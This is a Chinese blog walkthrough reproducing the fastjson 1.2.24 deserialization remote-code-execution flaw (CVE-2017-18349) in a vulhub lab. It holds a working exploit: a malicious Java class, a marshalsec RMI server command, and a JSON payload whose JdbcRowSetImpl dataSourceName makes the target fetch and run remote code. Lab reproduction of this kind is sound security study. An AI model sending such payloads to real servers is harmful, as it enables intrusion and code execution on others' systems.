首页 > 其他分享 >fastjson1.2.24反序列化漏洞复现 CVE-2017-18349

fastjson1.2.24反序列化漏洞复现 CVE-2017-18349

时间:2024-09-11 21:50:44浏览次数:12  
标签:24 CVE java RMI TouchFile maven 调用 序列化 marshalsec

1.准备:

1.1复现环境

漏洞环境:vulnhub靶场

工具准备:jdk8,apache-maven-3.9.9,kali2024.1,MarshalSec

1.2环境启动

进入vulnhub目录下的fastjson目录,进入CVE-2017-18349目录

cd /home/hbesljx/vulhub/fastjson/1.2.24-rce

docker-compoe启动漏洞环境

docker-compose up -d

访问靶机的8090端口。出现如下即为开启成功!

2.概念说明

2.1 fastjson是什么

Fastjson 是阿里巴巴开源的一个 Java 库,主要用于将 Java 对象转换成 JSON 格式的字符串,以及将 JSON 字符串转换回 Java 对象。

2.2 JNDI是什么

JNDI是JAVA应用程序接口,为JAVA应用程序提供命名服务,提供了查找和访问各种命名和目录服务的通用统一接口。

通俗来说,JNDI给各个资源进行命名,然后我们需要这个资源的时候,只需要告诉JNDI这个资源的名字,它就会去找到这个资源并且返回给我们。有效实现了程序和资源的解耦合。

2.3 RMI是什么

JAVA远程方法调用(RMI)允许在一个Java虚拟机中运行的对象调用在另一个Java虚拟机中运行的对象的方法。RMI提供了用JAVA编程语言编写的程序之间的远程通信。

3.漏洞原理

fastjson在解析json的过程中,支持使用@type来实例化某一个具体的类,并调用该类的set/get方法来访问属性。这个@type是我们可控的参数值。

因此我们选择@type为"com.sun.rowset.JdbcRowSetImpl",在反序列化时会调用这个类的set/get方法。

而我们传入了dataSourceName和autoCommit两个值,因此会调用对象的setDataSourceName()和setAutoCommit()方法。

而在是setAutoCommit()中有一行代码
 

this.conn = this.connect();

意味着setAutoCommit()会调用connect方法。

而在connect()方法中我们可以看见这样一行代码

DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

说明connect()方法调用了lookup方法,参数为我们的dataSourceName。

lookup()方法是JNDI的一种实现,我们只需要让dataSourceName指向我们构造的恶意对象即可。

利用RMI让dataSourceName可以访问到我们的恶意对象。

4.漏洞复现

4.1 编译恶意java对象

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

javac TouchFile.java

得到class文件

4.2 kali下载jdk8和apache-maven-3.9.9并且安装

4.3 marshalsec搭建RMI服务器

4.3.1 下载marshalsec

marshalsec下载地址

进入marshalsec-master目录

打开maven

执行mvn clean package -DskipTests

cd marshalsec
source /etc/profile
mvn clean package -DskipTests

如果报错网络无法连接,打开maven目录的/conf/settings.xml文件,添加阿里云镜像

<mirrors>
    <mirror>
        <id>alimaven</id>
        <name>aliyun maven</name>
        <url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
        <mirrorOf>central</mirrorOf>
    </mirror>
 </mirrors>

 4.3.2 启动RMI服务器,加载放在kali的远程恶意class

保证java和javac版本一致!

切换java和javac版本命令如下:

sudo update-alternatives --config java
sudo update-alternatives --config javac

首先将构造的TouchFile.class放到kali的apache网站目录下

借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类`TouchFile.class`:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.133.130/#TouchFile" 9999

4.4 向靶场服务器发送Payload

payload如下

POST / HTTP/1.1
Host: 192.168.133.140:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.133.130:9999/TouchFile",
        "autoCommit":true
    }
}

其中就构造了@type使得反序列化调用JdbcRowSetImpl的set方法,从而调用到connect()中的lookup()方法,读取到我们传入的dataSourceName,通过RMI调用到我们构造的远程恶意class。

4.5 检查是否执行了命令

进入靶场目录检查是否执行了"touch /tmp/success"命令

首先查看我们的CONTAINER ID

docker ps

然后进入/tmp目录查看是否有success文件 

docker exec -it your_container_ID bash
cd tmp/
ls

执行成功!

标签:24,CVE,java,RMI,TouchFile,maven,调用,序列化,marshalsec
From: https://blog.csdn.net/m0_62284238/article/details/142094093

相关文章

  • ABC246Ex 01? Queries(动态 DP)
    题意给定长度为\(n\)的字符串\(s\),只包含0,1,?,其中?可以任意替换为0和1。再给定\(q\)次单点修改,修改后查询字符串本质不同的子序列个数,对\(998244353\)取模。\(n,q\le10^5\)分析考虑没有修改怎么做。首先跟SA没有任何关系。设\(f_{i,0/1}\)表示考虑前\(......
  • 2024.9.11
    2024.9.11​ 现在是2024年9月11号晚上的21:32分,大四上,我现在开始写下这点东西,用于记录我的迷茫。实习​ 我的技术八股基础还算可以,但缺少一些应变的东西,而且用于面试只能答上60%左右。实际上我是不怎么担心找工作的,人们总和在不经意间就陷入比较的陷阱。学习我迷茫的原因......
  • PKUSC2024 + CTS2024
    回文路径题意:\(2\timesn\)的网格,每个格子有一个字符。从任意位置开始,每次向右/下走一格,任意位置停止。求路径是回文串的最大长度。数据范围:\(n\le10^5\)。枚举回文中心\(p\)。设\(p\)在第二行,假设他能在本行拓展到\(s_2[l,r]\),然后从\(l\)往上走,使得\(s_1[l^{\pri......
  • 闲话 24.9.11
    闲话哈哈,没有选题了。没有选题就不写了(最近摆的很舒服啊。等卖了题再拿题解充当闲话吧。碰壁:处理▂▕▄▄制▒▟▀问题不可以▙依赖[错误:所引对象未导引至对象实例;标准处理方法_004.rtf不存在]。不确定[已编辑]难的。推歌:樱桃簪子by天使盐feat.诗岸轻舟慢慢多......
  • 20240911 模拟赛总结
    期望得分:100+0+30=130实际得分:100+20+30=150T1感觉没有大样例也还是可以猜到那么一点的结论。k=0无解。当k≠0时,考虑交换不含1的两项,一定能使这两个位置都符合gcd(i,ai)=1,如果最后长度为奇数剩一个位置出来怎么办?那就O(n)枚举一遍找到可行的位置和它换一下即可,易......
  • 2024/09/11有感
    找了个把月工作吧,反正看过来还是重庆成都拿的offer比较多,江浙沪好不容易面试两个,面完都说项目没了,一个是合肥的做二手车的,还蛮大的,跟瓜子二手车一样,HR说技术面通过了,但是项目还没启动,让我等一个月,那拜拜了好吧;还有一个是常州的,本来我是投的上海的,后来说可以在常州办公,那挺好的,心里......
  • 2024.09.11 1856版
    起于《海奥华预言》的思考◆地球管理结构和参考持续更新中...... 英文地址:https://github.com/zhuyongzhe/Earth/tags中文地址:https://www.cnblogs.com/zhuyongzhe85作者:朱永哲 ---------------------------------------------------------------------------------......
  • 2024 牛客多校第三场(倍增,贪心)
    2024牛客多校第三场(倍增,贪心)J-RiggedGames题面:给出一个\(01\)字符串\(s\),代表小局比赛的输赢。求大局Bo(\(2b-1\)),小局Bo(\(2a-1\))的结果。求出\(s\)的每一个位置出发的输赢结果。数据范围:\(n,a,b\;(1≤n,a,b≤1e5)\)我和正解的思考相同的部分......
  • 2024/9/11日 日志
    今天学习了离散数学集合的部分内容,并初步认识了数据结构中影响程序的时空,即时间复杂度和空间复杂度。对时间复杂度的计算有了掌握和了解。即1.用常数1取代运行时间中的所有加法常数。2.在修改后的运行次数函数中,只保留最高阶次。3.如果最高阶项存在且不是1,则取出与这个项......
  • Leetcode 2453. Destroy Sequential Targets | rust 实现
    题解问题描述给定一个整数数组nums和一个整数space,我们需要找到一个目标值,使得该目标值在nums中的出现次数最多。如果有多个目标值出现次数相同,则返回最小的目标值。解题思路哈希表统计:使用哈希表map来统计每个seed%space的出现次数,题干中给出的等式等价为nums[n......